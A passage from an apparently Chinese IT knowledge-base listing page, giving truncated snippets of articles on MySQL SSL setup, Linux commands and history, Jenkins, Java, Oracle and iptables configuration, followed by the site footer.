                        <div>进入到证书存放目录,批量删除.pem证书警告:确保已经进入到证书存放目录find.-typef-iname\*.pem-delete查看是否安装OpenSSLopensslversion没有则安装yuminstallopensslopenssl-devel开启SSL编辑/etc/my.cnf文件(没有的话就创建,但是要注意,在/etc/my.cnf.d/server.cnf配置了datadir的,</div>
                    </li>
                    <li><a href="/article/1835471059135066112.htm"
                           title="你可能遗漏的一些C#/.NET/.NET Core知识点" target="_blank">你可能遗漏的一些C#/.NET/.NET Core知识点</a>
                        <span class="text-muted">追逐时光者</span>
<a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a><a class="tag" taget="_blank" href="/search/.NET/1.htm">.NET</a><a class="tag" taget="_blank" href="/search/DotNetGuide%E7%BC%96%E7%A8%8B%E6%8C%87%E5%8D%97/1.htm">DotNetGuide编程指南</a><a class="tag" taget="_blank" href="/search/c%23/1.htm">c#</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/.netcore/1.htm">.netcore</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a>
                        <div>前言在这个快速发展的技术世界中,时常会有一些重要的知识点、信息或细节被忽略或遗漏。《C#/.NET/.NETCore拾遗补漏》专栏我们将探讨一些可能被忽略或遗漏的重要知识点、信息或细节,以帮助大家更全面地了解这些技术栈的特性和发展方向。拾遗补漏GitHub开源地址https://github.com/YSGStudyHards/DotNetGuide/blob/main/docs/DotNet/D</div>
                    </li>
                    <li><a href="/article/1835469294436184064.htm"
                           title="【从浅识到熟知Linux】Linux发展史" target="_blank">【从浅识到熟知Linux】Linux发展史</a>
                        <span class="text-muted">Jammingpro</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%8E%E6%B5%85%E5%AD%A6%E5%88%B0%E7%86%9F%E7%9F%A5Linux/1.htm">从浅学到熟知Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>归属专栏:从浅学到熟知Linux个人主页:Jammingpro每日努力一点点,技术变化看得见文章前言:本篇文章记录Linux发展的历史,因在介绍Linux过程中涉及的其他操作系统及人物,本文对相关内容也有所介绍。文章目录Unix发展史Linux发展史开源Linux官网企业应用情况发行版本在学习Linux前,我们可能都会问Linux从哪里来?它是如何发展的。但在介绍Linux之前,需要先介绍一下Un</div>
                    </li>
                    <li><a href="/article/1835467782687387648.htm"
                           title="linux 发展史" target="_blank">linux 发展史</a>
                        <span class="text-muted">种树的猴子</span>
<a class="tag" taget="_blank" href="/search/%E5%86%85%E6%A0%B8/1.htm">内核</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a>
                        <div>linux发展史说明此前对linux认识模糊一知半解,近期通过学习将自己对于linux的发展总结一下方便大家日后的学习。那Linux是目前一款非常火热的开源操作系统,可是linux是什么时候出现的,又是因为什么样的原因被开发出来的呢。以下将对linux的发展历程进行详细的讲解。目录一、Linux发展背景二、UINIX的诞生三、UNIX的重要分支-BSD的诞生四、Minix的诞生五、GNU与Free</div>
                    </li>
                    <li><a href="/article/1835466921470947328.htm"
                           title="Some jenkins settings" target="_blank">Some jenkins settings</a>
                        <span class="text-muted">SnC_</span>

                        <div>Jenkins连接到特定gitlabproject的特定branch我采用的方法是在pipeline的script中使用git命令来指定branch。如下:stage('Clonerepository'){steps{gitbranch:'develop',credentialsId:'gitlab-credential-id',url:'http://gitlab.com/repo.git'}}</div>
                    </li>
                    <li><a href="/article/1835466523163062272.htm"
                           title="Linux sh命令" target="_blank">Linux sh命令</a>
                        <span class="text-muted">fengyehongWorld</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>目录一.基本语法二.选项2.1-c字符串中读取内容,并执行2.1.1基本用法2.1.2获取当前目录下失效的超链接2.2-x每个命令执行之前,将其打印出来2.3结合Here文档使用一.基本语法⏹Linux和Unix系统中用于执行shell脚本或运行命令的命令。sh[选项][脚本文件][参数...]⏹选项-c:从字符串中读取内容,并执行。-x:在每个命令执行之前,将其打印出来。-s:从标准流中读取内容</div>
                    </li>
                    <li><a href="/article/1835466270955368448.htm"
                           title="Linux vi常用命令" target="_blank">Linux vi常用命令</a>
                        <span class="text-muted">fengyehongWorld</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>参考资料viコマンド(vimコマンド)リファレンス目录一.保存系命令二.删除系命令三.移动系命令四.复制粘贴系命令一.保存系命令⏹保存并退出:wq⏹强制保存并退出:wq!⏹退出(文件未编辑):q⏹强制退出(忽略已编辑内容):q!⏹另存为:w新文件名二.删除系命令⏹删除当前行dd⏹清空整个文档gg:移动到文档顶部dG:删除到最后一行ggdG三.移动系命令⏹移动到文档顶部gg⏹移动到文档底部#方式1G</div>
                    </li>
                    <li><a href="/article/1835452402178813952.htm"
                           title="Linux查看服务器日志" target="_blank">Linux查看服务器日志</a>
                        <span class="text-muted">TPBoreas</span>
<a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a>
                        <div>一、tail这个是我最常用的一种查看方式用法如下:tail-n10test.log查询日志尾部最后10行的日志;tail-n+10test.log查询10行之后的所有日志;tail-fn10test.log循环实时查看最后1000行记录(最常用的)一般还会配合着grep用,(实时抓包)例如:tail-fn1000test.log|grep'关键字'(动态抓包)tail-fn1000test.log</div>
                    </li>
                                <li><a href="/article/96.htm"
                                       title="怎么样才能成为专业的程序员?" target="_blank">怎么样才能成为专业的程序员?</a>
                                    <span class="text-muted">cocos2d-x小菜</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a>
                                    <div>  
如何要想成为一名专业的程序员?仅仅会写代码是不够的。从团队合作去解决问题到版本控制,你还得具备其他关键技能的工具包。当我们询问相关的专业开发人员,那些必备的关键技能都是什么的时候,下面是我们了解到的情况。 
  
关于如何学习代码,各种声音很多,然后很多人就被误导为成为专业开发人员懂得一门编程语言就够了?!呵呵,就像其他工作一样,光会一个技能那是远远不够的。如果你想要成为</div>
                                </li>
                                <li><a href="/article/223.htm"
                                       title="java web开发 高并发处理" target="_blank">java web开发 高并发处理</a>
                                    <span class="text-muted">BreakingBad</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91/1.htm">开发</a><a class="tag" taget="_blank" href="/search/%E5%A4%84%E7%90%86/1.htm">处理</a><a class="tag" taget="_blank" href="/search/%E9%AB%98/1.htm">高</a>
                                    <div>java处理高并发高负载类网站中数据库的设计方法(java教程,java处理大量数据,java高负载数据) 一:高并发高负载类网站关注点之数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用,数据库的响应是首先要解决的。 一般来说MySQL是最常用的,可能最初是一个mysql主机,当数据增加到100万以上,那么,MySQL的效能急剧下降。常用的优化措施是M-S(</div>
                                </li>
                                <li><a href="/article/350.htm"
                                       title="mysql批量更新" target="_blank">mysql批量更新</a>
                                    <span class="text-muted">ekian</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>mysql更新优化: 
一版的更新的话都是采用update set的方式,但是如果需要批量更新的话,只能for循环的执行更新。或者采用executeBatch的方式,执行更新。无论哪种方式,性能都不见得多好。 
三千多条的更新,需要3分多钟。 
查询了批量更新的优化,有说replace into的方式,即: 
 
 
replace into tableName(id,status) values</div>
                                </li>
                                <li><a href="/article/477.htm"
                                       title="微软BI(3)" target="_blank">微软BI(3)</a>
                                    <span class="text-muted">18289753290</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E8%BD%AFBI+SSIS/1.htm">微软BI SSIS</a>
                                    <div>1) 
Q:该列违反了完整性约束错误;已获得 OLE DB 记录。源:“Microsoft SQL Server Native Client 11.0” Hresult: 0x80004005 说明:“不能将值 NULL 插入列 'FZCHID',表 'JRB_EnterpriseCredit.dbo.QYFZCH';列不允许有 Null 值。INSERT 失败。”。 
A:一般这类问题的存在是 </div>
                                </li>
                                <li><a href="/article/604.htm"
                                       title="Java中的List" target="_blank">Java中的List</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>        List是一个有序的 collection(也称为序列)。此接口的用户可以对列表中每个元素的插入位置进行精确地控制。用户可以根据元素的整数索引(在列表中的位置)访问元素,并搜索列表中的元素。 
        与 set 不同,列表通常允许重复</div>
                                </li>
                                <li><a href="/article/731.htm"
                                       title="读书笔记" target="_blank">读书笔记</a>
                                    <span class="text-muted">永夜-极光</span>
<a class="tag" taget="_blank" href="/search/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/1.htm">读书笔记</a>
                                    <div>   1.  K是一家加工厂,需要采购原材料,有A,B,C,D 4家供应商,其中A给出的价格最低,性价比最高,那么假如你是这家企业的采购经理,你会如何决策? 
    
     传统决策: A:100%订单  B,C,D:0% 
  
  &nbs</div>
                                </li>
                                <li><a href="/article/858.htm"
                                       title="centos 安装 Codeblocks" target="_blank">centos 安装 Codeblocks</a>
                                    <span class="text-muted">随便小屋</span>
<a class="tag" taget="_blank" href="/search/codeblocks/1.htm">codeblocks</a>
                                    <div>1.安装gcc,需要c和c++两部分,默认安装下,CentOS不安装编译器的,在终端输入以下命令即可yum install gccyum install gcc-c++ 
  
2.安装gtk2-devel,因为默认已经安装了正式产品需要的支持库,但是没有安装开发所需要的文档.yum install gtk2* 
3. 安装wxGTK 
   yum search w</div>
                                </li>
                                <li><a href="/article/985.htm"
                                       title="23种设计模式的形象比喻" target="_blank">23种设计模式的形象比喻</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>1、ABSTRACT FACTORY—追MM少不了请吃饭了,麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西,虽然口味有所不同,但不管你带MM去麦当劳或肯德基,只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory    工厂模式:客户类和工厂类分开。消费者任何时候需要某种产品,只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时,工厂类也要做相应的修改。如:</div>
                                </li>
                                <li><a href="/article/1112.htm"
                                       title="开发管理 CheckLists" target="_blank">开发管理 CheckLists</a>
                                    <span class="text-muted">aoyouzi</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E7%AE%A1%E7%90%86+CheckLists/1.htm">开发管理 CheckLists</a>
                                    <div>开发管理 CheckLists(23) -使项目组度过完整的生命周期 
开发管理 CheckLists(22) -组织项目资源 
开发管理 CheckLists(21) -控制项目的范围开发管理 CheckLists(20) -项目利益相关者责任开发管理 CheckLists(19) -选择合适的团队成员开发管理 CheckLists(18) -敏捷开发 Scrum Master 工作开发管理 C</div>
                                </li>
                                <li><a href="/article/1239.htm"
                                       title="js实现切换" target="_blank">js实现切换</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/%E6%A0%8F%E7%9B%AE%E5%88%87%E6%8D%A2/1.htm">栏目切换</a>
                                    <div>js主要功能之一就是实现页面的特效,窗体的切换可以减少页面的大小,被门户网站大量应用思路: 
   1,先将要显示的设置为display:bisible  否则设为none
    2,设置栏目的id  ,js获取栏目的id,如果id为Null就设置为显示
    3,判断js获取的id名字;再设置是否显示
 
  
代码实现: 
  
html代码: 
  <di</div>
                                </li>
                                <li><a href="/article/1366.htm"
                                       title="周鸿祎在360新员工入职培训上的讲话" target="_blank">周鸿祎在360新员工入职培训上的讲话</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E6%84%9F%E6%82%9F/1.htm">感悟</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/1.htm">项目管理</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E7%94%9F/1.htm">人生</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA/1.htm">职场</a>
                                    <div>        这篇文章也是最近偶尔看到的,考虑到原博客发布者可能将其删除等原因,也更方便个人查找,特将原文拷贝再发布的。“学东西是为自己的,不要整天以混的姿态来跟公司博弈,就算是混,我觉得你要是能在混的时间里,收获一些别的有利于人生发展的东西,也是不错的,看你怎么把握了”,看了之后,对这句话记忆犹新。  &</div>
                                </li>
                                <li><a href="/article/1493.htm"
                                       title="前端Web开发的页面效果" target="_blank">前端Web开发的页面效果</a>
                                    <span class="text-muted">Bill_chen</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/Microsoft/1.htm">Microsoft</a>
                                    <div>1.IE6下png图片的透明显示: 
<img src="图片地址" border="0" style="Filter.Alpha(Opacity)=数值(100),style=数值(3)"/> 
或在<head></head>间加一段JS代码让透明png图片正常显示。 
 
2.<li>标</div>
                                </li>
                                <li><a href="/article/1620.htm"
                                       title="【JVM五】老年代垃圾回收:并发标记清理GC(CMS GC)" target="_blank">【JVM五】老年代垃圾回收:并发标记清理GC(CMS GC)</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6/1.htm">垃圾回收</a>
                                    <div>  CMS概述 
并发标记清理垃圾回收(Concurrent Mark and Sweep GC)算法的主要目标是在GC过程中,减少暂停用户线程的次数以及在不得不暂停用户线程的请夸功能,尽可能短的暂停用户线程的时间。这对于交互式应用,比如web应用来说,是非常重要的。 
  
CMS垃圾回收针对新生代和老年代采用不同的策略。相比同吞吐量垃圾回收,它要复杂的多。吞吐量垃圾回收在执</div>
                                </li>
                                <li><a href="/article/1747.htm"
                                       title="Struts2技术总结" target="_blank">Struts2技术总结</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/struts2/1.htm">struts2</a>
                                    <div>  
 
 必备jar文件 
   
 早在struts2.0.*的时候,struts2的必备jar包需要如下几个: 
commons-logging-*.jar   Apache旗下commons项目的log日志包 
freemarker-*.jar          </div>
                                </li>
                                <li><a href="/article/1874.htm"
                                       title="Jquery easyui layout应用注意事项" target="_blank">Jquery easyui layout应用注意事项</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/layout/1.htm">layout</a>
                                    <div>在jquery easyui中提供了easyui-layout布局,他的布局比较局限,类似java中GUI的border布局。下面对其使用注意事项作简要介绍: 
     如果在现有的工程中前台界面均应用了jquery easyui,那么在布局的时候最好应用jquery eaysui的layout布局,否则在表单页面(编辑、查看、添加等等)在不同的浏览器会出</div>
                                </li>
                                <li><a href="/article/2001.htm"
                                       title="java-拷贝特殊链表:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?" target="_blank">java-拷贝特殊链表:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
public class CopySpecialLinkedList {

	/**
	 * 题目:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?
拷贝pNext指针非常容易,所以题目的难点是如何拷贝pRand指针。
假设原来链表为A1 -> A2 ->... -> An,新拷贝</div>
                                </li>
                                <li><a href="/article/2128.htm"
                                       title="color" target="_blank">color</a>
                                    <span class="text-muted">Chen.H</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">    <HTML>    <HEAD>&nbs</div>
                                </li>
                                <li><a href="/article/2255.htm"
                                       title="[信息与战争]移动通讯与网络" target="_blank">[信息与战争]移动通讯与网络</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                                    <div>      两个坚持:手机的电池必须可以取下来 
               光纤不能够入户,只能够到楼宇 
 
      建议大家找这本书看看:<&</div>
                                </li>
                                <li><a href="/article/2382.htm"
                                       title="oracle flashback query(闪回查询)" target="_blank">oracle flashback query(闪回查询)</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/flashback+query/1.htm">flashback query</a><a class="tag" taget="_blank" href="/search/flashback+table/1.htm">flashback table</a>
                                    <div>在Oracle 10g中,Flash back家族分为以下成员: 
Flashback Database 
Flashback Drop 
Flashback Table 
Flashback Query(分Flashback Query,Flashback Version Query,Flashback Transaction Query) 
下面介绍一下Flashback Drop 和Flas</div>
                                </li>
                                <li><a href="/article/2509.htm"
                                       title="zeus持久层DAO单元测试" target="_blank">zeus持久层DAO单元测试</a>
                                    <span class="text-muted">deng520159</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a>
                                    <div>zeus代码测试正紧张进行中,但由于工作比较忙,但速度比较慢.现在已经完成读写分离单元测试了,现在把几种情况单元测试的例子发出来,希望有人能进出意见,让它走下去. 
本文是zeus的dao单元测试: 
1.单元测试直接上代码 
  
package com.dengliang.zeus.webdemo.test;


import org.junit.Test;
import o</div>
                                </li>
                                <li><a href="/article/2636.htm"
                                       title="C语言学习三printf函数和scanf函数学习" target="_blank">C语言学习三printf函数和scanf函数学习</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/printf/1.htm">printf</a><a class="tag" taget="_blank" href="/search/scanf/1.htm">scanf</a><a class="tag" taget="_blank" href="/search/language/1.htm">language</a>
                                    <div>printf函数 
/*
	2013年3月10日20:42:32
	地点:北京潘家园
	功能:
	目的:
		测试%x %X %#x %#X的用法
 */

# include <stdio.h>

int main(void)
{

	printf("哈哈!\n");  // \n表示换行

	int i = 10;
	printf</div>
                                </li>
                                <li><a href="/article/2763.htm"
                                       title="那你为什么小时候不好好读书?" target="_blank">那你为什么小时候不好好读书?</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/life/1.htm">life</a>
                                    <div>dady, 我今天捡到了十块钱, 不过我还给那个人了 
good girl! 那个人有没有和你讲thank you啊 
没有啦....他拉我的耳朵我才把钱还给他的, 他哪里会和我讲thank you 
  
爸爸, 如果地上有一张5块一张10块你拿哪一张呢.... 
当然是拿十块的咯... 
爸爸你很笨的, 你不会两张都拿 
  
爸爸为什么上个月那个人来跟你讨钱, 你告诉他没</div>
                                </li>
                                <li><a href="/article/2890.htm"
                                       title="iptables开放端口" target="_blank">iptables开放端口</a>
                                    <span class="text-muted">Fanyucai</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/iptables/1.htm">iptables</a><a class="tag" taget="_blank" href="/search/%E7%AB%AF%E5%8F%A3/1.htm">端口</a>
                                    <div>1,找到配置文件 
vi /etc/sysconfig/iptables   
  
2,添加端口开放,增加一行,开放18081端口 
-A INPUT -m state --state NEW -m tcp -p tcp --dport 18081 -j ACCEPT 
  
3,保存 
ESC
:wq! 
  
4,重启服务 
service iptables </div>
                                </li>
                                <li><a href="/article/3017.htm"
                                       title="Ehcache(05)——缓存的查询" target="_blank">Ehcache(05)——缓存的查询</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/%E6%8E%92%E5%BA%8F/1.htm">排序</a><a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a><a class="tag" taget="_blank" href="/search/%E7%BB%9F%E8%AE%A1/1.htm">统计</a><a class="tag" taget="_blank" href="/search/query/1.htm">query</a>
                                    <div>缓存的查询 
目录 
1.    使Cache可查询 
1.1     基于Xml配置 
1.2     基于代码的配置 
2     指定可搜索的属性 
2.1     可查询属性类型 
2.2 &</div>
                                </li>
                                <li><a href="/article/3144.htm"
                                       title="通过hashset找到数组中重复的元素" target="_blank">通过hashset找到数组中重复的元素</a>
                                    <span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/hashset/1.htm">hashset</a>
                                    <div>  如何在hashset中快速找到重复的元素呢?方法很多,下面是其中一个办法: 
 
 


 int[] array = {1,1,2,3,4,5,6,7,8,8};
         
        Set<Integer> set = new HashSet<Integer>();
         
        for(int i = 0</div>
                                </li>
                                <li><a href="/article/3271.htm"
                                       title="使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL" target="_blank">使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL</a>
                                    <span class="text-muted">lanrikey</span>
<a class="tag" taget="_blank" href="/search/history/1.htm">history</a>
                                    <div>后退时关闭当前页面 
<script type="text/javascript"> 
 jQuery(document).ready(function ($) { 
        if (window.history && window.history.pushState) {</div>
                                </li>
                                <li><a href="/article/3398.htm"
                                       title="应用程序的通信成本" target="_blank">应用程序的通信成本</a>
                                    <span class="text-muted">netkiller.github.com</span>
<a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E6%9C%BA/1.htm">虚拟机</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a><a class="tag" taget="_blank" href="/search/%E9%99%88%E6%99%AF%E5%B3%B0/1.htm">陈景峰</a><a class="tag" taget="_blank" href="/search/netkiller/1.htm">netkiller</a><a class="tag" taget="_blank" href="/search/neo/1.htm">neo</a>
                                    <div>应用程序的通信成本  
什么是通信 
一个程序中两个以上功能相互传递信号或数据叫做通信。  
什么是成本 
这是是指时间成本与空间成本。 时间就是传递数据所花费的时间。空间是指传递过程耗费容量大小。  
都有哪些通信方式 
 
 全局变量 
 线程间通信 
 共享内存 
 共享文件 
 管道 
 Socket 
 硬件(串口,USB) 等等 
  
全局变量 
全局变量是成本最低通信方法,通过设置</div>
                                </li>
                                <li><a href="/article/3525.htm"
                                       title="一维数组与二维数组的声明与定义" target="_blank">一维数组与二维数组的声明与定义</a>
                                    <span class="text-muted">恋洁e生</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a><a class="tag" taget="_blank" href="/search/%E4%B8%80%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">一维数组</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E4%B9%89/1.htm">定义</a><a class="tag" taget="_blank" href="/search/%E5%A3%B0%E6%98%8E/1.htm">声明</a><a class="tag" taget="_blank" href="/search/%E5%88%9D%E5%A7%8B%E5%8C%96/1.htm">初始化</a>
                                    <div>/**  *   */ package test20111005; /**  * @author FlyingFire  * @date:2011-11-18 上午04:33:36  * @author :代码整理  * @introduce :一维数组与二维数组的初始化  *summary:  */ public c</div>
                                </li>
                                <li><a href="/article/3652.htm"
                                       title="Spring Mybatis独立事务配置" target="_blank">Spring Mybatis独立事务配置</a>
                                    <span class="text-muted">toknowme</span>
<a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a>
                                    <div>在项目中有很多地方会使用到独立事务,下面以获取主键为例      
(1)修改配置文件spring-mybatis.xml    <!-- 开启事务支持 -->    <tx:annotation-driven transaction-manager="transactionManager" />       &n</div>
                                </li>
                                <li><a href="/article/3779.htm"
                                       title="更新Anadroid SDK Tooks之后,Eclipse提示No update were found" target="_blank">更新Anadroid SDK Tooks之后,Eclipse提示No update were found</a>
                                    <span class="text-muted">xp9802</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>使用Android SDK Manager 更新了Anadroid SDK Tooks 之后, 
打开eclipse提示 This Android SDK requires Android Developer Toolkit version 23.0.0 or above, 点击Check for Updates  
检测一会后提示 No update were found  </div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>